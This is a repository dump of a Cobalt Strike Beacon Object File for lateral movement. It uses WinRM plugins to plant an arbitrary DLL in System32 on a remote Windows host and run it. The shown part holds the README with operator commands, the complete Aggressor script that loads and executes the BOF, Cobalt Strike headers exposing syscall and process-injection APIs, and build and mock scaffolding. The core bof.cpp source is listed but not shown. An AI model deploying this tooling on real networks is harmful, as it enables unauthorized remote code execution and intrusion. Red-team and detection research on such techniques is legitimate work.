├── bof-winrm-plugin-jump ├── packages.config ├── base │ ├── helpers.h │ ├── mock.h │ └── mock.cpp ├── Makefile ├── beacon_user_data.h ├── bof-winrm-plugin-jump.vcxproj.filters ├── beacon.h ├── bof-winrm-plugin-jump.vcxproj └── bof.cpp ├── README.md ├── LICENSE ├── bof-winrm-plugin-jump.sln ├── winrm-plugin-jump.cna └── .gitignore /bof-winrm-plugin-jump/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /bof-winrm-plugin-jump/base/helpers.h: -------------------------------------------------------------------------------- 1 | #ifdef __cplusplus 2 | #ifndef _DEBUG 3 | #define DFR(module, function) \ 4 | DECLSPEC_IMPORT decltype(function) module##$##function; 5 | 6 | #define DFR_LOCAL(module, function) \ 7 | DECLSPEC_IMPORT decltype(function) module##$##function; \ 8 | decltype(module##$##function) *##function = module##$##function; 9 | #else 10 | #define DFR_LOCAL(module, function) 11 | #define DFR(module, function) \ 12 | decltype(function) *module##$##function = function; 13 | #endif // end of _DEBUG 14 | #endif // end of __cplusplus -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BOF WinRM Plugin Jump 2 | Cobalt Strike BOF that leverages WinRM plugins to execute arbitrary DLLs in a target system. 3 | 4 | Example: 5 | 6 | ``` 7 | beacon> winrm-plugin-jump --system --action install --dll 8 | beacon> winrm-plugin-jump --system --action call 9 | beacon> winrm-plugin-jump --system --action uninstall 10 | ``` 11 | 12 | Options: 13 | - `--system `: Hostname of the target system 14 | - `--action`: 15 | - `install`: Copy the DLL to the System32 folder in the target system, register a plugin in registry and restarts WinRM service. 16 | - `call`: Calls the WinRM Put method. 17 | - `uninstall`: Unregisters the plugin from registry, deletes the DLL from System32 and restarts WinRM service. 18 | - `--dll `: Path to the DLL in this system, to be used with action install (e.g: `/home/kali/winrm-plugin.dll`) 19 | 20 | Notes: 21 | - Remote Registry service will be started if required. If changes were done, its configuration will be reverted at the end of the action. 22 | - When uninstalling, any thread still running under winprovhost.exe will end since this process will be killed. 23 | 24 | Blog post: https://falconforce.nl/exploring-winrm-plugins-for-lateral-movement 25 | 26 | References: 27 | - Microsoft official documentation about WinRM API headers: https://learn.microsoft.com/en-us/windows/win32/api/_winrm/#enumerations 28 | - Microsoft WinRM client shell example: https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/sysmgmt/winrm 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2025, FalconForce 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | 3. Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /bof-winrm-plugin-jump/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=/c /GS- /std:c++17 2 | DEBUGCFLAGS=/Zi /MTd /D_DEBUG /EHsc /std:c++17 Advapi32.lib WsmSvc.lib OleAut32.lib Ole32.lib 3 | 4 | !IF "$(PROCESSOR_ARCHITECTURE)" != "x86" && "$(PROCESSOR_ARCHITECTURE)" != "AMD64" 5 | !ERROR Only x86 and AMD64 architectures are supported or the PROCESSOR_ARCHITECTURE environment variable is not set. 6 | !ELSEIF "$(PROCESSOR_ARCHITECTURE)" == "AMD64" 7 | OUTDIR=..\x64\Release\ 8 | IMDIR=x64\Release\ 9 | DOUTDIR=..\x64\Debug\ 10 | DIMDIR=x64\Debug\ 11 | OUTEXT=.x64.o 12 | !ELSE 13 | OUTDIR=..\Release\ 14 | IMDIR=Release\ 15 | DIMDIR=Debug\ 16 | DOUTDIR=..\Debug\ 17 | OUTEXT=.x86.o 18 | !ENDIF 19 | 20 | all: *.cpp 21 | @$(MAKE) $(patsubst %.c,%.obj, $(patsubst %.cpp, %.obj, $(patsubsti %, $(IMDIR)\%, $**))) 22 | @if not exist "$(OUTDIR)" mkdir "$(OUTDIR)" 23 | copy "$(IMDIR)\*.obj" "$(OUTDIR)" 24 | del /F "$(OUTDIR)\*$(OUTEXT)" 25 | ren "$(OUTDIR)*.obj" "*$(OUTEXT)" 26 | 27 | all-debug: *.cpp 28 | @$(MAKE) $(patsubst %.c,%.exe, $(patsubst %.cpp, %.exe, $(patsubsti %, $(DOUTDIR)\%, $**))) 29 | 30 | .cpp{$(IMDIR)}.obj: 31 | @if not exist "$(IMDIR)" mkdir "$(IMDIR)" 32 | $(CPP) $(CFLAGS) /Fo"$@" $< 33 | 34 | .cpp{$(DOUTDIR)}.exe: 35 | @if not exist "$(DIMDIR)" mkdir "$(DIMDIR)" 36 | @if not exist "$(DOUTDIR)" mkdir "$(DOUTDIR)" 37 | $(CPP) $(DEBUGCFLAGS) /Fo$(DIMDIR) /Fd$(DIMDIR) /Fe"$@" $< base/mock.cpp 38 | 39 | clean: 40 | @if exist "$(DIMDIR)" rmdir /Q /S "$(DIMDIR)" 41 | @if exist "$(IMDIR)" rmdir /Q /S "$(IMDIR)" 42 | @if exist "$(OUTDIR)" rmdir /Q /S "$(OUTDIR)" 43 | @if exist "$(DOUTDIR)" rmdir /Q /S "$(DOUTDIR)" 44 | -------------------------------------------------------------------------------- /bof-winrm-plugin-jump/beacon_user_data.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon User Data (BUD) 3 | * ------------------------- 4 | * Beacon User Data is a data structure that holds values which can be 5 | * passed from a User Defined Reflective Loader to Beacon. 6 | * 7 | * Cobalt Strike 4.x 8 | * ChangeLog: 9 | * 5/9/2023: initial version for 4.9 10 | */ 11 | #ifndef _BEACON_USER_DATA_H 12 | #define _BEACON_USER_DATA_H 13 | 14 | #include 15 | 16 | #define DLL_BEACON_USER_DATA 0x0d 17 | #define BEACON_USER_DATA_CUSTOM_SIZE 32 18 | 19 | /* Syscalls API */ 20 | typedef struct 21 | { 22 | PVOID fnAddr; 23 | PVOID jmpAddr; 24 | DWORD sysnum; 25 | } SYSCALL_API_ENTRY; 26 | 27 | typedef struct 28 | { 29 | SYSCALL_API_ENTRY ntAllocateVirtualMemory; 30 | SYSCALL_API_ENTRY ntProtectVirtualMemory; 31 | SYSCALL_API_ENTRY ntFreeVirtualMemory; 32 | SYSCALL_API_ENTRY ntGetContextThread; 33 | SYSCALL_API_ENTRY ntSetContextThread; 34 | SYSCALL_API_ENTRY ntResumeThread; 35 | SYSCALL_API_ENTRY ntCreateThreadEx; 36 | SYSCALL_API_ENTRY ntOpenProcess; 37 | SYSCALL_API_ENTRY ntOpenThread; 38 | SYSCALL_API_ENTRY ntClose; 39 | SYSCALL_API_ENTRY ntCreateSection; 40 | SYSCALL_API_ENTRY ntMapViewOfSection; 41 | SYSCALL_API_ENTRY ntUnmapViewOfSection; 42 | SYSCALL_API_ENTRY ntQueryVirtualMemory; 43 | SYSCALL_API_ENTRY ntDuplicateObject; 44 | SYSCALL_API_ENTRY ntReadVirtualMemory; 45 | SYSCALL_API_ENTRY ntWriteVirtualMemory; 46 | } SYSCALL_API; 47 | 48 | /* Beacon User Data 49 | * 50 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 51 | * e.g. 0x040900 -> CS 4.9 52 | */ 53 | typedef struct 54 | { 55 | unsigned int version; 56 | SYSCALL_API* syscalls; 57 | char custom[BEACON_USER_DATA_CUSTOM_SIZE]; 58 | } USER_DATA, *PUSER_DATA; 59 | 60 | #endif 61 | -------------------------------------------------------------------------------- /bof-winrm-plugin-jump.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.12.35521.163 d17.12 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bof-winrm-plugin-jump", "bof-winrm-plugin-jump\bof-winrm-plugin-jump.vcxproj", "{A47530C5-2CD0-4FB5-9A03-071C538C45BE}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | UnitTest|x64 = UnitTest|x64 15 | UnitTest|x86 = UnitTest|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Debug|x64.ActiveCfg = Debug|x64 19 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Debug|x64.Build.0 = Debug|x64 20 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Debug|x86.ActiveCfg = Debug|Win32 21 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Debug|x86.Build.0 = Debug|Win32 22 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Release|x64.ActiveCfg = Release|x64 23 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Release|x64.Build.0 = Release|x64 24 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Release|x86.ActiveCfg = Release|Win32 25 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Release|x86.Build.0 = Release|Win32 26 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.UnitTest|x64.ActiveCfg = UnitTest|x64 27 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.UnitTest|x64.Build.0 = UnitTest|x64 28 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.UnitTest|x86.ActiveCfg = UnitTest|Win32 29 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.UnitTest|x86.Build.0 = UnitTest|Win32 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | EndGlobal 35 | -------------------------------------------------------------------------------- /bof-winrm-plugin-jump/bof-winrm-plugin-jump.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {b74d73f4-acc9-410d-a627-90481555d13a} 18 | 19 | 20 | {8fa0224c-f4ab-4998-991b-bf2b56db2848} 21 | 22 | 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files\base 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files\base 37 | 38 | 39 | Header Files\base 40 | 41 | 42 | Header Files 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /winrm-plugin-jump.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "winrm-plugin-jump", 3 | "Use WinRM plugins to execute DLLs in other systems", 4 | "usage: winrm-plugin-jump --action (install|uninstall|call) --dll --system \ 5 | Options: 6 | --action install Copy the DLL to the System32 folder in the target system, register a plugin 7 | in registry and restarts WinRM service. 8 | Notes: 9 | - Remote Registry service will be started if required. If changes were done, 10 | its configuration will be reverted at the end of this action. 11 | 12 | call Calls the WinRM Put method. 13 | 14 | uninstall Unregisters the plugin from registry, deletes the DLL from System32 and 15 | restarts WinRM service. 16 | Notes: 17 | - Any thread still running under winprovhost.exe will be killed. 18 | - Remote Registry service will be started if required. If changes were done, 19 | it's configuration will be reverted at the end of this action. 20 | 21 | --dll Path to the DLL in this system, to be used with action install (e.g: /home/kali/winrm-plugin.dll) 22 | 23 | --system Hostname of the target system 24 | "); 25 | alias winrm-plugin-jump 26 | { 27 | local('$bid $data $args $action $dll $system'); 28 | $bid = $1; 29 | 30 | for ($i = 1; $i < size(@_); $i++) 31 | { 32 | if (@_[$i] eq "--action") 33 | { 34 | $i++; 35 | if($i >= size(@_)) 36 | { 37 | berror($1, "missing --action value"); 38 | return; 39 | } 40 | $action = @_[$i]; 41 | } 42 | else if (@_[$i] eq "--dll") 43 | { 44 | $i++; 45 | if($i >= size(@_)) 46 | { 47 | berror($1, "missing --dll path"); 48 | return; 49 | } 50 | $fp = openf(@_[$i]); 51 | $dll = readb($fp, -1); 52 | closef($fp); 53 | } 54 | else if (@_[$i] eq "--system") 55 | { 56 | $i++; 57 | if($i >= size(@_)) 58 | { 59 | berror($1, "missing --system value"); 60 | return; 61 | } 62 | $system = @_[$i]; 63 | } 64 | } 65 | btask($1, $action); 66 | btask($1, $system); 67 | 68 | $handle = openf(script_resource("x64/Release/bof.x64.o")); 69 | $data = readb($handle, -1); 70 | closef($handle); 71 | 72 | # Pack the arguments 73 | $args = bof_pack($bid, "ZbZ", $action, $dll, $system); 74 | 75 | # Execute BOF 76 | beacon_inline_execute($bid, $data, "go", $args); 77 | } -------------------------------------------------------------------------------- /bof-winrm-plugin-jump/base/mock.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | namespace bof { 5 | namespace mock { 6 | /** 7 | * Data container class used for packing BOF's arguments. 8 | */ 9 | class BofData { 10 | public: 11 | /** 12 | * Pack a variadic number of arguments. 13 | * Equivalent to the bof_pack function. 14 | * 15 | * For example, bof_pack("isz", 1, 2, "hello") 16 | * -> pack(1, 2, "hello") 17 | * 18 | * @param ... arguments 19 | */ 20 | template 21 | void pack(T &&...v) 22 | { 23 | ((insert(std::forward(v))), ...); 24 | } 25 | 26 | /** 27 | * Add binary data to the argument buffer. 28 | * Equivalent to bof_pack("b", $data). 29 | * 30 | * @param buf A char pointer to the data 31 | * @param len A length to the data 32 | */ 33 | void addData(const char *buf, std::size_t len); 34 | 35 | 36 | /** 37 | * << operator to allow an alternative way to build the argument buffer. 38 | * 39 | * For example: args << 123 << 32; 40 | * 41 | * @param container A BofData object 42 | * @param arg An argument 43 | */ 44 | template 45 | friend BofData &operator<<(BofData &container, T arg) 46 | { 47 | container.pack(arg); 48 | return os; 49 | } 50 | 51 | /** 52 | * Return a raw argument buffer. 53 | * 54 | * @return A char pointer of raw argument buffer 55 | */ 56 | char* get(); 57 | 58 | /** 59 | * Get the size of the argument buffer. 60 | * 61 | * @return A size of the argument buffer 62 | */ 63 | int size(); 64 | private: 65 | void append(const std::vector &data); 66 | void insert(int v); 67 | void insert(short v); 68 | void insert(unsigned int v); 69 | void insert(unsigned short v); 70 | void insert(const char *v); 71 | void insert(const wchar_t *v); 72 | void insert(const std::vector& data); 73 | 74 | std::vector data; 75 | }; 76 | } 77 | 78 | namespace output { 79 | /** 80 | * Data structure to store a output from BOF 81 | */ 82 | struct OutputEntry { 83 | /** 84 | * The callback type. E.g. CALLBACK_OUTPUT 85 | */ 86 | int callbackType; 87 | 88 | /** 89 | * The output data 90 | */ 91 | std::string output; 92 | 93 | /** 94 | * Equivalence overloading. 95 | * 96 | * param other Another OutputEntry object 97 | */ 98 | bool operator==(const OutputEntry& other) const { 99 | return callbackType == other.callbackType && output == other.output; 100 | } 101 | }; 102 | 103 | /** 104 | * Returns the list of BOF outputs 105 | * 106 | * @return A vector of OutputEntry objects 107 | */ 108 | const std::vector& getOutputs(); 109 | 110 | /** 111 | * Clear the currently stored BOF outputs 112 | */ 113 | void reset(); 114 | 115 | /** 116 | * Pretty print an OutputEntry object. 117 | * Required by the GoogleTest. 118 | * 119 | * @param o An OutputEntry object 120 | * @param os An output stream 121 | */ 122 | void PrintTo(const OutputEntry& o, std::ostream* os); 123 | } 124 | 125 | namespace valuestore { 126 | /** 127 | * Clear items in BOF Key/Value store 128 | */ 129 | void reset(); 130 | } 131 | 132 | namespace bud { 133 | /** 134 | * Clear the custom data buffer in Beacon User Data 135 | */ 136 | void reset(); 137 | 138 | /** 139 | * Set the custom data buffer in Beacon User Data 140 | * 141 | * @param data A pointer to custom data buffer 142 | */ 143 | void set(const char* data); 144 | } 145 | 146 | /** 147 | * Execute a BOF with arguments 148 | * 149 | * @param entry BOF's entry point 150 | * @param ... arguments 151 | * @return A vector of OutputEntry objects 152 | */ 153 | template 154 | std::vector runMocked(void (*entry)(char*, int), T &&...v) { 155 | // Reset the global output container 156 | bof::output::reset(); 157 | // Pack the arguments 158 | bof::mock::BofData args; 159 | args.pack(std::forward(v)...); 160 | // Execute the entrypoint 161 | entry(args.get(), args.size()); 162 | // Return the stored outputs 163 | return bof::output::getOutputs(); 164 | } 165 | } -------------------------------------------------------------------------------- /bof-winrm-plugin-jump/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Additional BOF resources are available here: 8 | * - https://github.com/Cobalt-Strike/bof_template 9 | * 10 | * Cobalt Strike 4.x 11 | * ChangeLog: 12 | * 1/25/2022: updated for 4.5 13 | * 7/18/2023: Added BeaconInformation API for 4.9 14 | * 7/31/2023: Added Key/Value store APIs for 4.9 15 | * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue 16 | * 8/31/2023: Added Data store APIs for 4.9 17 | * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, 18 | * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries 19 | * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 20 | */ 21 | 22 | /* data API */ 23 | typedef struct { 24 | char * original; /* the original buffer [so we can free it] */ 25 | char * buffer; /* current pointer into our buffer */ 26 | int length; /* remaining length of data */ 27 | int size; /* total size of this buffer */ 28 | } datap; 29 | 30 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 31 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); 32 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 33 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 34 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 35 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 36 | 37 | /* format API */ 38 | typedef struct { 39 | char * original; /* the original buffer [so we can free it] */ 40 | char * buffer; /* current pointer into our buffer */ 41 | int length; /* remaining length of data */ 42 | int size; /* total size of this buffer */ 43 | } formatp; 44 | 45 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 46 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 47 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 48 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 49 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 50 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 51 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 52 | 53 | /* Output Functions */ 54 | #define CALLBACK_OUTPUT 0x0 55 | #define CALLBACK_OUTPUT_OEM 0x1e 56 | #define CALLBACK_OUTPUT_UTF8 0x20 57 | #define CALLBACK_ERROR 0x0d 58 | 59 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 60 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 61 | 62 | 63 | /* Token Functions */ 64 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 65 | DECLSPEC_IMPORT void BeaconRevertToken(); 66 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 67 | 68 | /* Spawn+Inject Functions */ 69 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 70 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 71 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 72 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); 73 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 74 | 75 | /* Utility Functions */ 76 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 77 | 78 | /* Beacon Information */ 79 | /* 80 | * ptr - pointer to the base address of the allocated memory. 81 | * size - the number of bytes allocated for the ptr. 82 | */ 83 | typedef struct { 84 | char * ptr; 85 | size_t size; 86 | } HEAP_RECORD; 87 | #define MASK_SIZE 13 88 | 89 | /* 90 | * sleep_mask_ptr - pointer to the sleep mask base address 91 | * sleep_mask_text_size - the sleep mask text section size 92 | * sleep_mask_total_size - the sleep mask total memory size 93 | * 94 | * beacon_ptr - pointer to beacon's base address 95 | * The stage.obfuscate flag affects this value when using CS default loader. 96 | * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) 97 | * false: beacon_ptr = allocated_buffer (A valid address) 98 | * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain 99 | * when the 2nd argument is set to DLL_PROCESS_ATTACH. 100 | * sections - list of memory sections beacon wants to mask. These are offset values 101 | * from the beacon_ptr and the start value is aligned on 0x1000 boundary. 102 | * A section is denoted by a pair indicating the start and end offset values. 103 | * The list is terminated by the start and end offset values of 0 and 0. 104 | * heap_records - list of memory addresses on the heap beacon wants to mask. 105 | * The list is terminated by the HEAP_RECORD.ptr set to NULL. 106 | * mask - the mask that beacon randomly generated to apply 107 | */ 108 | typedef struct { 109 | char * sleep_mask_ptr; 110 | DWORD sleep_mask_text_size; 111 | DWORD sleep_mask_total_size; 112 | 113 | char * beacon_ptr; 114 | DWORD * sections; 115 | HEAP_RECORD * heap_records; 116 | char mask[MASK_SIZE]; 117 | } BEACON_INFO; 118 | 119 | DECLSPEC_IMPORT void BeaconInformation(BEACON_INFO * info); 120 | 121 | /* Key/Value store functions 122 | * These functions are used to associate a key to a memory address and save 123 | * that information into beacon. These memory addresses can then be 124 | * retrieved in a subsequent execution of a BOF. 125 | * 126 | * key - the key will be converted to a hash which is used to locate the 127 | * memory address. 128 | * 129 | * ptr - a memory address to save. 130 | * 131 | * Considerations: 132 | * - The contents at the memory address is not masked by beacon. 133 | * - The contents at the memory address is not released by beacon. 134 | * 135 | */ 136 | DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); 137 | DECLSPEC_IMPORT void * BeaconGetValue(const char * key); 138 | DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); 139 | 140 | /* Beacon Data Store functions 141 | * These functions are used to access items in Beacon's Data Store. 142 | * BeaconDataStoreGetItem returns NULL if the index does not exist. 143 | * 144 | * The contents are masked by default, and BOFs must unprotect the entry 145 | * before accessing the data buffer. BOFs must also protect the entry 146 | * after the data is not used anymore. 147 | * 148 | */ 149 | 150 | #define DATA_STORE_TYPE_EMPTY 0 151 | #define DATA_STORE_TYPE_GENERAL_FILE 1 152 | 153 | typedef struct { 154 | int type; 155 | DWORD64 hash; 156 | BOOL masked; 157 | char* buffer; 158 | size_t length; 159 | } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; 160 | 161 | DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); 162 | DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); 163 | DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); 164 | DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); 165 | 166 | /* Beacon User Data functions */ 167 | DECLSPEC_IMPORT char * BeaconGetCustomUserData(); 168 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 